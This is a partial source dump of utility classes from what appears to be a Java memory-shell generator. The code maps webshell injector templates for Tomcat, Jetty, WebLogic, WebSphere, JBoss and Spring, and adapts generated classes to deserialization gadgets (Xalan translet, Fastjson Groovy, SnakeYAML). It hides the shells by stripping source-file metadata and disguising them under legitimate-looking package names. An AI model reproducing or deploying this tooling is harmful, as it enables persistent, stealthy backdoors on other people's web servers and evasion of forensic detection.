T[] result = Arrays.copyOf(array1, length1 + length2);
System.arraycopy(array2, 0, result, length1, length2);
return result;
}
public static void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
public static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(5) + 2;
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
public static byte[] base64Decode(String var0) throws Exception {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
} catch (Exception var5) {
}
}
return var2;
}
public static String encodeBase64(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static String genRandomLengthString(int minLength) {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(6) + minLength;
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
public static String getRandomString(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getMd5(String text) throws NoSuchAlgorithmException {
MessageDigest md5 = MessageDigest.getInstance("MD5");
byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
StringBuilder builder = new StringBuilder();
for (byte aByte : bytes) {
builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
}
return builder.toString();
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
}
return outputStream.toByteArray();
}
public static byte[] getFileBytes(String file) throws Exception {
File f = new File(file);
int length = (int) f.length();
byte[] data = new byte[length];
(new FileInputStream(f)).read(data);
return data;
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
String file_output_path = null;
String fileSeparator = File.separator;
File file = new File(output_path);
if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
output_path = file.getParent();
}
String[] parts = output_path.split(Pattern.quote(fileSeparator));
boolean isFilePath = false; // 添加标记用于判断是否为文件路径
for (String part : parts) {
if (part.contains(".")) {
isFilePath = true;
break;
} else {
if (!output_path.endsWith(fileSeparator)) {
output_path = output_path + fileSeparator;
}
}
}
if (isFilePath) { // 如果是文件路径直接返回
File parentDir = file.getParentFile();
if (!parentDir.exists()) {
parentDir.mkdirs();
}
return file.getAbsolutePath();
}
File dir = new File(output_path);
if (!dir.exists() || !dir.isDirectory()) {
dir.mkdirs();
}
// 判断输出格式
switch (format_type) {
case Constants.FORMAT_CLASS:
file_output_path = output_path + class_simple_name + ".class";
break;
case Constants.FORMAT_JAR:
case Constants.FORMAT_JAR_AGENT:
file_output_path = output_path + class_simple_name + ".jar";
break;
case Constants.FORMAT_JSP:
file_output_path = output_path + class_simple_name + ".jsp";
break;
default:
break;
}
return file_output_path;
}
public static void transformToFile(AbstractConfig config) throws Throwable {
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
jMGCodeApi codeApi = new jMGCodeApi(config);
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
}
// base64/bcel/js/biginteger
public static String transformTotext(AbstractConfig config) throws Throwable {
jMGCodeApi codeApi = new jMGCodeApi(config);
return new String(codeApi.generate());
}
public static String getThrowableStackTrace(Throwable t) {
StringWriter stringWriter = new StringWriter();
PrintWriter printWriter = new PrintWriter(stringWriter);
t.printStackTrace(printWriter);
return stringWriter.toString();
}
}
@@ -0,0 +1,67 @@
package jmg.core.util;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
/**
* 专项漏洞的处理
*/
public class CtClassUtil {
private AbstractConfig config;
private ClassPool pool;
private CtClass ctClass;
public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
this.config = config;
this.pool = pool;
this.ctClass = ctClass;
}
public byte[] modifyForExploitation() throws Exception {
if (config.getGadgetType() != null) {
if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
applyJDKAbstractTranslet();
}
if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
applyXALANAbstractTranslet();
}
if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
applyFastjsonGroovyASTTransformation();
}
if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
applySnakeYamlScriptEngineFactory();
}
}
return ctClass.toBytecode();
}
public void applyJDKAbstractTranslet() throws Exception {
JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
}
public void applyXALANAbstractTranslet() {
try {
JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
public void applyFastjsonGroovyASTTransformation() throws Exception {
config.setImplementsASTTransformationType(true);
JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
}
// snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
public void applySnakeYamlScriptEngineFactory() throws Exception {
config.setImplementsScriptEngineFactory(true);
JavassistUtil.addAnnotation(ctClass, "javax.script.ScriptEngineFactory");
}
}
@@ -0,0 +1,108 @@
package jmg.core.util;
import jmg.core.config.Constants;
import jmg.core.template.*;
import java.util.HashMap;
import java.util.Map;
public class InjectorUtil {
private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> classMap = new HashMap();
public InjectorUtil() {
}
public static String getInjectorName(String serverType, String shellType) {
Map<String, String> injectorMap = (Map) classMap.get(serverType);
return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
}
public static String getInjectorClassName(String injectorName) throws Exception {
if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
throw new Exception("Invalid injector type '" + injectorName + "'");
} else {
return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
}
}
static {
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
Map<String, String> glassfishMap = new HashMap();
glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
Map<String, String> jettyMap = new HashMap();
jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
classMap.put(Constants.SERVER_JETTY, jettyMap);
INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
Map<String, String> resinMap = new HashMap();
resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
classMap.put(Constants.SERVER_RESIN, resinMap);
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
Map<String, String> tomcatMap = new HashMap();
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
Map<String, String> undertowMap = new HashMap();
undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
Map<String, String> weblogicMap = new HashMap();
weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
Map<String, String> websphereMap = new HashMap();
websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
Map<String, String> jbossMap = new HashMap();
jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
classMap.put(Constants.SERVER_JBOSS, jbossMap);
INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
Map<String, String> springMVCMap = new HashMap();
springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
Map<String, String> springWebFluxMap = new HashMap();
springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
}
}
@@ -0,0 +1,167 @@
package jmg.core.util;
import javassist.*;
import javassist.bytecode.*;
import javassist.bytecode.annotation.Annotation;
import java.util.List;
/**
* javassist 工具类
*/
public class JavassistUtil {
private static ClassPool pool = ClassPool.getDefault();
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
ctClass.defrost();
try {
// 已存在,修改
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
ctMethod.setBody(methodBody);
} catch (NotFoundException ignored) {
// 不存在,直接添加
CtMethod method = CtNewMethod.make(methodBody, ctClass);
ctClass.addMethod(method);
}
}
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
// 已存在,删除
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
// // 不存在,直接添加
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
// 已存在,删除
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
// // 不存在,直接添加
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static void extendClass(CtClass ctClass, String superClassName) throws Exception {
ctClass.defrost();
CtClass interfaceClass = pool.makeClass(superClassName);
ctClass.setSuperclass(pool.get(interfaceClass.getName()));
}
public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception {
ctClass.defrost();
CtClass interfaceClass = pool.makeInterface(interfaceClassName);
CtClass[] ctClasses = new CtClass[]{interfaceClass};
ctClass.setInterfaces(ctClasses);
}
public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception {
ctClass.defrost();
ClassFile classFile = ctClass.getClassFile();
ConstPool constPool = classFile.getConstPool();
AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool);
clazzAnnotationsAttribute.setAnnotation(clazzAnnotation);
ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute);
}
// 删除内存马 SourceFileAttribute (源文件名) 信息
public static void removeSourceFileAttribute(CtClass ctClass) {
ctClass.defrost();
ClassFile classFile = ctClass.getClassFile2();
try {
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
} catch (Exception e) {
try {
// 兼容 javassist v3.20 及以下
List<AttributeInfo> attributes = (List<AttributeInfo>) CommonUtil.getFV(classFile, "attributes");
removeAttribute(attributes, SourceFileAttribute.tag);
} catch (Exception ignored) {
}
}
}
public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
if (attributes == null) return null;
for (AttributeInfo ai : attributes)
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
return null;
}
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addField(ctClass, fieldName, fieldValue);
}
}
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
}
}
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
if (className != null) {
ctClass.setName(className);
}
}
public static String convertClassNameToFilePath(String className) {
return className.replace(".", "/");
}
}
@@ -0,0 +1,30 @@
package jmg.core.util;
import java.util.Random;
public class PackageNameUtil {
private static final String[] packageNames = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
public static String generatePackageName() {
Random random = new Random();
String packageName = packageNames[random.nextInt(packageNames.length)];
return packageName;
}
public static String getRandomPackageName() {
return generatePackageName();
}
}
@@ -0,0 +1,37 @@
package jmg.core.util;
import java.util.AbstractMap;
import java.util.Map;
import java.util.Random;
public class RandomHttpHeaderUtil {
private static final Random RANDOM = new Random();
public static Map.Entry<String, String> generateHeader() {
String key = generateRandomKey();
String value = generateRandomValue(key);
return new AbstractMap.SimpleEntry<>(key, value);
}
private static String generateRandomKey() {
String[] keys = {"Referer","User-Agent"};
return keys[RANDOM.nextInt(keys.length)];
}
private static String generateRandomValue(String key) {
switch (key) {
case "Referer":
case "User-Agent":
return generateRandomValue();
default:
return "";
}
}
private static String generateRandomValue() {
return CommonUtil.genRandomLengthString(4);
}
}
@@ -0,0 +1,75 @@
package jmg.core.util;
import java.util.HashMap;
import java.util.Map;
public class ResponseUtil {
private static final Map<String, String> METHOD_BODY_MAP = new HashMap<>();
static {
METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
METHOD_BODY_MAP.put("resin", getResinMethodBody());
METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
}
public static String getMethodBody(String serverType) {
return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
}
private static String getCommonMethodBody() {
return "{javax.servlet.http.HttpServletResponse response = null;" +
" try {" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
" } catch (Exception ex) {" +
" try {" +
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
" } catch (Exception ex1) {" +
" }" +
" }" +
" return response;}";
}
private static String getResinMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;" +
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
" return response;}";
}
private static String getJettyMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;\n" +
" try{\n" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
" }catch (Exception e){\n" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
" }\n" +
" return response;}";
}
private static String getWebsphereMethodBody() {
return "{javax.servlet.http.HttpServletResponse response;" +
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
" return response;}";
}
private static String getUndertowMethodBody() {
return "{javax.servlet.http.HttpServletResponse response = null;\n" +
"java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
"Object[] keys = map.keySet().toArray();\n" +
"for (int i = 0; i < keys.length; i++) {\n" +
" Object key = keys[i];\n" +
" if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
" response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
" break;\n" +
" }\n" +
"}\n" +
"return response;}";
}
}
@@ -0,0 +1,4 @@
package org.springframework.web.servlet;
public interface AsyncHandlerInterceptor {
}
Binary file not shown.